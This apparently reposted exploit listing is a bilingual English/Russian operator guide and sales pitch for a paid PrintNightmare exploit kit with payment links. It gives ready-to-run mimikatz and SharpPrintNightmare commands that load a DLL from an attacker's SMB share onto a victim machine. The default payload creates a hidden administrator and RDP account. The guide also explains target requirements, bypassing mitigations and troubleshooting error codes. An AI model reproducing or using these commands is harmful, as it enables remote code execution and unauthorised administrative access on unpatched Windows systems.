Exploit for Improper Privilege Management in Microsoft exploit

2 years ago 249
BOOK THIS SPACE FOR AD
ARTICLE AD

Share

## https://sploitus.com/exploit?id=86F04665-0984-596F-945A-3CA176A53057 # CVE-2021-34527-CVE-2021-1675 PrintNightmare+Manual https://satoshidisk.com/pay/CEieif --------------------------------------- To perform an attack via the MS-PAR protocol, run from the Attacker\Release folder - mimikatz.exe Run the following line of your choice: 1) by PC name: misc::printnightmare /library:\\10.10.10.158\share\spider.dll /server:DESKTOP-12345 /authuser:user /authdomain:DESKTOP-12345 /authpassword:password where 10.10.10.158 - IP of your shares DESKTOP-12345 - Victim PC name the rest is the username and password 2) by IP: misc::printnightmare /library:\\10.10.10.158\share\spider.dll /server:10.10.10.35 /authuser:admin /authdomain:10.10.10.35 /authpassword:111 where 10.10.10.158 - IP of your shares 10.10.10.35 - IP of the victim the rest is the username and password Notes: If Mimikatz throws an error: * "RPC Exception: kuhl_m_misc_printnightmare_FillStructure; RpcAsyncGetPrinterDriverDirectory" you can try to skip this stage by adding the key to the command: /nodynamic --------------------------------------------------- https://satoshidisk.com/pay/CEieif Для выполнения атаки через протокол MS-PAR запустите из папки Attacker\Release - mimikatz.exe Выполните такую строку на выбор: 1) по имени ПК: misc::printnightmare /library:\\10.10.10.158\share\spider.dll /server:DESKTOP-12345 /authuser:user /authdomain:DESKTOP-12345 /authpassword:password где 10.10.10.158 - IP вашей шары DESKTOP-12345 - Имя ПК жертвы остальное - имя пользователя и его пароль 2) по IP: misc::printnightmare /library:\\10.10.10.158\share\spider.dll /server:10.10.10.35 /authuser:admin /authdomain:10.10.10.35 /authpassword:111 где 10.10.10.158 - IP вашей шары 10.10.10.35 - IP жертвы остальное - имя пользователя и его пароль Замечания: Если Mimikatz выдает ошибку: * "RPC Exception: kuhl_m_misc_printnightmare_FillStructure; RpcAsyncGetPrinterDriverDirectory" можно попытаться пропустить эту стадию, дописав в команду ключик: /nodynamic ---------------------------------------------------------------------- https://satoshidisk.com/pay/CEieif ******************************************************* ************ PrintNightmare Exploit (RCE) Loader Guide ******************************************************* ************ >>> Terminology: - RCE (Remote Code Execution) - code execution on a remote mouse - Attacker (attacking machine) - Victim (victim) - Payload (DLL, with a payload that will be executed on the victim side in case of a successful attack) >>> Preparation (for RCE) ##Victim: - If you want to test the exploit on your machine as a victim and it does not meet the conditions (*1): => run the file Victim\MakeMeGood.bat RMB => On behalf of the Admin. For a description of what it does, read the readme.txt next to it. ##Attacker: - Prepare your payload (or use the one provided). => File Attacker\share\spider.dll (for 64-bit) => File Attacker\share\spider_32.dll (for 32-bit) Default payload: => creates a user. Name: "Crackenn" Password: "*aaa111Cracke" => adds it to the "Administrators" and "Remote Desktop Users" groups. PLEASE NOTE: if you recompile the dll by changing the Credential of the user being created, be sure to set a password that matches most Windows Server policies (otherwise it won't work): * The password must contain UPPER and lowercase letters, numbers and special characters. * password must be more than 8 characters. * password must be less than 14 characters (i.e. in total: from 9 to 13). * the name should not contain special characters, and it is desirable to be in Latin. - Run RMB as Admin Attacker\Create-share-RunAsAdmin.bat => this will create a share named "share" with public access to the Attacker\share folder (inside we have payload, separately 64 bits - spider.dll, separately 32 bits - spider_32.dll) - Reboot the system (MANDATORY). * Note: If you replace payload, don't forget to run Attacker\Create-share-RunAsAdmin.bat again (You don't need to reboot the OS anymore). >>> Launch: - run file Attacker\RCE-Exploit-RunAsUser.bat You will be prompted to enter: 1. The local IP of your shares (current PC), you can look at the ipconfig command in the CMD console, the field with IPv4. 2. IP of the victim (or his domain name). The domain name is usually the same as the PC name if the PC is home or does not have a domain. The PC name can be scanned with other utilities, viewed in the network environment, or obtained by IP using the nbtstat -a IP Windows command 3. PC name (do not enter - IP will be used). 4. Victim username 5. Password of the victim If the attack is successful, a message will be displayed: [+] Exploit Success. => This means that the printer driver has been installed and our payload.dll has been executed by the victim with SYSTEM rights. By default, a user will be created on the remote machine with the name: Crackenn That's all :) Data entry methods: 1) Interactive (see above) - data for the exploit is entered directly into the console. 2) Built-in - you can "Change" the Attacker\RCE-Exploit-RunAsUserс batch file and enter all the data in advance in the fields: - set TARGET_IP= - set USER= - set PASSWORD= Then you won't be asked anything. 3) Partial - you can fill in only part of the data (see above), the rest (empty fields) will be asked interactively. 4) You can run the exploit via command line arguments from the Attacker\Release folder with the following command: SharpPrintNightmare.exe \\10.10.10.120\share\spider.dll 10.10.10.223 "" "user" "password" where: * 10.10.10.120 - ip of your shares * 10.10.10.223 - ip of the victim Via PC name: SharpPrintNightmare.exe \\10.10.10.120\share\spider.dll DESKTOP-ABC123 "" "user" "password" Via PC name / Domain: SharpPrintNightmare.exe \\10.10.10.120\share\spider.dll dc.DESKTOP-ABC123 "DESKTOP-ABC123" "user" "password" (*1) Others: - The exploit will work 99% on those machines that meet the conditions for running this exploit: Minimum: * you have the login and password of the remote machine / or the credentials of your machine are the same as the remote machine. Regarding the victim: * the machine is on your local network. * enabled spooler service (Print Spooler) * shared access to printers Other: * if the account has an empty password, then the corresponding policy should be disabled * The account is not Built-In, i.e. her name is not "Administrator" / "Administrator"... (*1) the machine must not be patched with updates against PrintingNightmare released on July 7-8 and there are no installed tweaks and policies released specifically to mitigate this exploit; if there are such tweaks, you can try to use the MS-PAR attack method (see mimikatz) Attack methods: - SDK (MS-RPRN protocol) (AddPrinterDriverEx function) - LRPC (MS-RPRN protocol) (RpcAddPrinterDriverEx function) - LRPC (MS-PAR protocol) (RpcAsyncAddPrinterDriver function) The modified SharpPrintNightmare.exe uses the [MS-RPRN] SDK method with variations of the mimikatz attack. mimicatz uses LRPC [MS-RPRN] and LRPC [MS-PAR]. You can read about the differences between the methods here: https://www.sygnia.co/demystifying-the-printnightmar ------------------------------------------------------------------------------------------------------------------------ https://satoshidisk.com/pay/CEieif ************************************************************** Руководство по лоадерам экплойта PrintNightmare (RCE) ************************************************************** >>> Терминология: - RCE (Remote Code Execution) - исполнение кода на удалённой мышине - Attacker (атакующая машина) - Victim (жертва) - Payload (библиотека dll, с полезной нагрузкой, которая будет выполнена на стороне victim при успешной атаке) >>> Подготовка (для RCE) ## Victim: - Если вы хотите потестировать эксплойт на своей машине в качестве жертвы, и она не удовлетворяет условиям (*1): => запустите файл Victim\MakeMeGood.bat ПКМ => От имени Админа. Описание, что оно делает, читайте в readme.txt рядом. ## Attacker: - Подготовьте ваш payload (или используйте тот, что в комплекте). => Файл Attacker\share\spider.dll (для 64-бит) => Файл Attacker\share\spider_32.dll (для 32-бит) Дефолтовый payload: => создаёт юзера. Имя: "Crackenn" Пароль: "*aaa111Cracke" => добавляет его в группы "Администраторы" и "Пользователи удалённого рабочего стола". ОБРАТИТЕ ВНИМАНИЕ: если вы перекомпилируете dll, изменив Credential создаваемого юзера, обязательно установливайте пароль, соответствующий большенству политик Windows Server (иначе он работать не будет): * пароль должен содержать БОЛЬШИЕ и маленькие буквы, цифры и спецсимволы. * пароль должен быть больше 8 символов. * пароль должен быть меньше 14 символов (т.е. в итоге: от 9 до 13). * имя не должно содержать спецсимволов, и желательно быть латиницей. - Запустите ПКМ от Админа Attacker\Create-share-RunAsAdmin.bat => это создаст шару с именем "share" с публичным доступом к папке Attacker\share (внутри у нас лежит payload, отдельно 64 бита - spider.dll, отдельно 32 бита - spider_32.dll) - Перезагрузите систему (ОБЯЗАТЕЛЬНО). * Прим.: Если вы будете заменять payload, не забудьте запустить Attacker\Create-share-RunAsAdmin.bat ещё раз (при этом перезагружать ОС больше не надо). >>> Запуск: - запустите файл Attacker\RCE-Exploit-RunAsUser.bat Вам будет предложено ввести: 1. Локальный IP вашей шары (текущий ПК), можно посмотеть комадной ipconfig в консоли CMD, поле с IPv4. 2. IP жертвы (либо имя его домена). Имя домена обычно совпадает с именем ПК, если ПК домашний или не имеет домена. Имя ПК можно просканить др. утилитами, посмотреть в сетевом окружении, или получить по IP виндовой командой nbtstat -a IP 3. Имя ПК (можно не вводить - будет использован IP). 4. Имя пользователя жертвы 5. Пароль жертвы При успешной атаке, будет выведено сообщение: [+] Exploit Success. => Это означает, что драйвер принтера установился и наш payload.dll выполнился у жертвы с правами SYSTEM. По дефолту, на удалённой машине будет создан юзер с именем: Crackenn На этом всё :) Методы ввода данных: 1) Интерактивный (см. выше) - данные для эксплойта вводятся непосредственно в консоль. 2) Встроенный - вы можете "Изменить" батник Attacker\RCE-Exploit-RunAsUserс и ввести все данные заранее в поля: - set TARGET_IP= - set USER= - set PASSWORD= Тогда вас не будут спрашивать ничего. 3) Частичный - вы можете заполнить только часть данных (см. выше), остальные (пустые поля) вас спросят интерактивно. 4) Вы можете запустить эксплойт через аргументы командной строки из папки Attacker\Release такой командой: SharpPrintNightmare.exe \\10.10.10.120\share\spider.dll 10.10.10.223 "" "user" "password" где: * 10.10.10.120 - ip вашей шары * 10.10.10.223 - ip жертвы Через имя ПК: SharpPrintNightmare.exe \\10.10.10.120\share\spider.dll DESKTOP-ABC123 "" "user" "password" Через имя ПК / Домен: SharpPrintNightmare.exe \\10.10.10.120\share\spider.dll dc.DESKTOP-ABC123 "DESKTOP-ABC123" "user" "password" (*1) Прочее: - Эксплойт будет работать на 99% на тех машинах, соответствующих условиям запуска этого эксплойта: Минимально: * у вас есть логин и пароль удалённой машины / или credentials вашей машины совпадает с удалённой. Касаемо victim: * машина находится в вашей локальной сети. * включена служба spooler (Диспетчер очереди печати) * расшарен доступ к принтерам Другое: * если у учётки пустой пароль, то должна быть отключена соответствующая политика * учётка не Built-In, т.е. её имя не "Администратор" / "Administrator"... (*1) машина не должна быть пропатчена обновлениями против PrintingNightmare, вышедшими 7-8 июля и нет установленных твиков и политик, выпущенных специально для митигации данного эксплойта; если такие твики есть, можно попытаться использовать метод атаки MS-PAR (см. mimikatz) Методы атаки: - SDK (протокол MS-RPRN) (функция AddPrinterDriverEx) - LRPC (протокол MS-RPRN) (функция RpcAddPrinterDriverEx) - LRPC (протокол MS-PAR) (функция RpcAsyncAddPrinterDriver) В доработанном SharpPrintNightmare.exe используется SDK-метод [MS-RPRN] с вариациями атаки от mimikatz. В mimicatz используются LRPC [MS-RPRN] и LRPC [MS-PAR]. Об отличиях методов можно почитать здесь: https://www.sygnia.co/demystifying-the-printnightmar ---------------------------------------------------------------------------------------------------- https://satoshidisk.com/pay/CEieif ------------------------------------------ PrintNightmare Working: LPE/RCE: on Windows 8.1, 2012 R2, 10, 2016, 2019. LPE: on Windows 7, 2008 R2. In view of the still current demand for stable loader builds of the PrintingNightmare exploit, our team has studied in detail the mechanism of its work, as well as all publicly available P-O-Cs and Security Teams reports. We have conducted many tests under various operating systems and conditions, and also combined several variations of attacks, which give the maximum effect, provided that the attack is possible in general in principle. As a result, we are ready to present improved versions of the loader, payload and launcher. Key features: - the most complete documentation (launch conditions on the side of the attacking and attacked machine). - the most simple launcher. - payload is decoupled and will be able to run on more machines than the original one. - the loader displays a description of the error codes (in the docks for many errors there is our description of the cause). - start the services necessary for the operation of the exploit (attacker). - support for localized machines (victim). - support for 32-bit operating systems (victim). Attack methods used: - SDK [MS-RPRN] - LRPC [MS-RPRN] - LRPC [MS-PAR] The archive includes: - documentation (txt, jpg). - script (bat) for auto-configuring the balls created under payload, as well as launching dependent services and protocols. - launcher (bat) for launching the exploit loader, with options: interactive input of IP / Credential, partial or sewn into the script. - exploit launcher (exe, C#) (mod. mimikatz + Cube methods, MS-RPRN protocol). - launcher (exe, C++) of an alternative exploit (MS-PAR + MS-RPRN protocols). - payload (dll, C++) - creates a new user in the groups: Administrators and RDP. - (optional) script (bat) to run manually on the attacked machine - creates a gap for the successful launch of the exploit(*1). - demonstration of RCE on Windows 8.1, 2012 R2, 10, 2016, 2019. - demonstration of LPE operation on Windows 7, 2008 R2, 8.1, 2012 R2, 10, 2016, 2019. Add. services: - payload (dll, C++) with the source code of the customer or according to his technical requirements. - payload rebuild. Launch conditions: - The exploit will work 99% on those machines that meet the conditions for running this exploit: Minimum: * you have the login and password of the remote machine / or the credentials of your machine are the same as the remote machine. Regarding the victim: * the machine is on your local network. * enabled spooler service (Print Spooler) * shared access to printers Other: * if the account has an empty password, then the corresponding policy should be disabled * The account is not Built-In, i.e. her name is not "Administrator" / "Administrator"... (*1) the machine must not be patched with updates against PrintingNightmare released on July 7-8 and there are no installed tweaks and policies released specifically to mitigate this exploit, however, some of the attack methods in our loader allow you to bypass such tweaks. ---------------------------------------------------------------------------------------------------------- https://satoshidisk.com/pay/CEieif -------------------------------------------------------------------- PrintNightmare Работает: LPE/RCE: на ОС Windows 8.1, 2012 R2, 10, 2016, 2019. LPE: на ОС Windows 7, 2008 R2. В виду всё ещё актуального спроса на стабильные билды лоадеров экплойта PrintingNightmare, наша команда подробно изучила механизм его работы, а также все публично доступные P-O-C и доклады Security Teams. Нами проведено множество тестов под различными ОС и условиями, а также скомбинировано несколько вариаций атак, которые дают максимальный эффект при условии, что атака возможна вообще в принципе. В итоге, мы готовы представить усовершенствованные версии лоадера, payload и ланчера. Ключевые особенности: - максимально полная документация (условия запуска на стороне атакующей и атакуемой машины). - максимально простой ланчер. - payload отвязан от зависимостей и сможет запуститься на бОльшем числе машин, чем оригинальный. - лоадер выводит описание кодов ошибок (в доках по многим ошибкам есть наше описание причины). - запуск служб, необходимых для работы эксплойта (attacker). - поддержка локализованных машин (victim). - поддержка 32-битных ОС (victim). Используемые методы атак: - SDK [MS-RPRN] - LRPC [MS-RPRN] - LRPC [MS-PAR] В архив входит: - документация (txt, jpg). - скрипт (bat) авто-настройки шары, создаваемой под payload, а также запуска зависимых служб и протоколов. - ланчер (bat) запуска лоадера экплойта, с вариантами: интерактивного ввода IP/Credential, частичного или вшитых в скрипт. - ланчер (exe,C#) эксплойта (мод. методов mimikatz + Cube, протокол MS-RPRN). - ланчер (exe,C++) альтернативного эксплойта (протоколы MS-PAR + MS-RPRN). - payload (dll,C++) - создаёт нового юзера в группах: Администраторы и RDP. - (опционально) скрипт (bat) для запуска вручную на атакуемой машине - создаёт брешь для успешного запуска эксплойта(*1). - демонстрация работы RCE на ОС Windows 8.1, 2012 R2, 10, 2016, 2019. - демонстрация работы LPE на ОС Windows 7, 2008 R2, 8.1, 2012 R2, 10, 2016, 2019. Доп. услуги: - payload (dll,C++) с исходным кодом заказчика или по его ТЗ. - пересборка payload. Условия запуска: - Эксплойт будет работать на 99% на тех машинах, соответствующих условиям запуска этого эксплойта: Минимально: * у вас есть логин и пароль удалённой машины / или credentials вашей машины совпадает с удалённой. Касаемо victim: * машина находится в вашей локальной сети. * включена служба spooler (Диспетчер очереди печати) * расшарен доступ к принтерам Прочее: * если у учётки пустой пароль, то должна быть отключена соответствующая политика * учётка не Built-In, т.е. её имя не "Администратор" / "Administrator"... (*1) машина не должна быть пропатчена обновлениями против PrintingNightmare, вышедшими 7-8 июля и нет установленных твиков и политик, выпущенных специально для митигации данного эксплойта, впрочем, некоторые из методов атак в нашем лоадере позволяют обойти такие твики. ----------------------------------------------------------------------------------------------------- Програма для проверки на наличие 2 служб нужных для эксплуатации уязвимости (иногда показывает пустой результат, хотя на стороне жертвы всё ок!): AddPrinterDriverEx [MS-RPRN] RpcAddPrinterDriverEx [MS-PAR] RpcAsyncAddPrinterDriver ----------------------------------------------- https://satoshidisk.com/pay/CEieif ---------------------------------------------- A program for checking for the presence of 2 services needed to exploit the vulnerability (sometimes it shows an empty result, although everything is ok on the victim side!): AddPrinterDriverEx [MS-RPRN] RpcAddPrinterDriverEx [MS-PAR] RpcAsyncAddPrinterDriver ----------------------------------------------------- List of errors (from bootloader): * Please note that error codes can sometimes be cached. This means that you can get a no longer relevant (duplicate) code for the 2nd time. In this case, you need to try again, or wait a while. 2 - The file was not found (for example, payload on the ball) 3 - The file was not found (for example, payload on the ball) 5 - Access denied: Empty password, with no policy enabled to allow empty passwords The system is patched Blocking DLP, and other security systems Unsupported system (for example, Windows 7) No access to payload share 53 - invalid network path 64 - no shares, or you have disabled the Server service (Server) 67 - ball does not exist 1326 - Invalid login or password 1327 - Empty password, while the policy allowing empty passwords is not enabled 1801 - No access to payload share Invalid IP 2102 - no shares, or you have disabled the service Workstation (Lanman Workstation) ------------------------------------------------------- Список ошибок (от загрузчика): * Обратите внимание, что коды ошибок иногда могут кешироваться. Это означает, что вы можете во 2-й раз получить уже не актуальный (повторяющийся) код. В таком случае нужно повторить попытку, или подождать какое-то время. 2 - Не найден файл (например payload на шаре) 3 - Не найден файл (например payload на шаре) 5 - Отказано в доступе: Пустой пароль, при этом не включена политика, разрешающая пустые пароль Система пропатчена Блокировка DLP, и прочими защитными системами Неподдерживаемая система (например Windows 7) Нет доступа к шаре с payload 53 - неверный сетевой путь 64 - нет шары, либо у вас отключена служба Сервер (Server) 67 - шара не существует 1326 - Неверный логин или пароль 1327 - Пустой пароль, при этом не включена политика, разрешающая пустые пароли 1801 - Нет доступа к шаре с payload Неверный IP 2102 - нет шары, либо у вас отключена служба Рабочая станция (Lanman Workstation) ------------------------------------------------------------------------------- https://satoshidisk.com/pay/CEieif ------------------------------------------------------------ To perform an attack via the MS-PAR protocol, run from the Attacker\Release folder - mimikatz.exe Run the following line of your choice: 1) by PC name: misc::printnightmare /library:\\10.10.10.158\share\spider.dll /server:DESKTOP-12345 /authuser:user /authdomain:DESKTOP-12345 /authpassword:password where 10.10.10.158 - IP of your shares DESKTOP-12345 - Victim PC name the rest is the username and password 2) by IP: misc::printnightmare /library:\\10.10.10.158\share\spider.dll /server:10.10.10.35 /authuser:admin /authdomain:10.10.10.35 /authpassword:111 where 10.10.10.158 - IP of your shares 10.10.10.35 - IP of the victim the rest is the username and password Notes: If Mimikatz throws an error: * "RPC Exception: kuhl_m_misc_printnightmare_FillStructure; RpcAsyncGetPrinterDriverDirectory" you can try to skip this stage by adding the key to the command: /nodynamic ------------------------------------------------------------------------------ Для выполнения атаки через протокол MS-PAR запустите из папки Attacker\Release - mimikatz.exe Выполните такую строку на выбор: 1) по имени ПК: misc::printnightmare /library:\\10.10.10.158\share\spider.dll /server:DESKTOP-12345 /authuser:user /authdomain:DESKTOP-12345 /authpassword:password где 10.10.10.158 - IP вашей шары DESKTOP-12345 - Имя ПК жертвы остальное - имя пользователя и его пароль 2) по IP: misc::printnightmare /library:\\10.10.10.158\share\spider.dll /server:10.10.10.35 /authuser:admin /authdomain:10.10.10.35 /authpassword:111 где 10.10.10.158 - IP вашей шары 10.10.10.35 - IP жертвы остальное - имя пользователя и его пароль Замечания: Если Mimikatz выдает ошибку: * "RPC Exception: kuhl_m_misc_printnightmare_FillStructure; RpcAsyncGetPrinterDriverDirectory" можно попытаться пропустить эту стадию, дописав в команду ключик: /nodynamic ------------------------------------------------------------------------------- Done ---------------- https://satoshidisk.com/pay/CEieif
Read Entire Article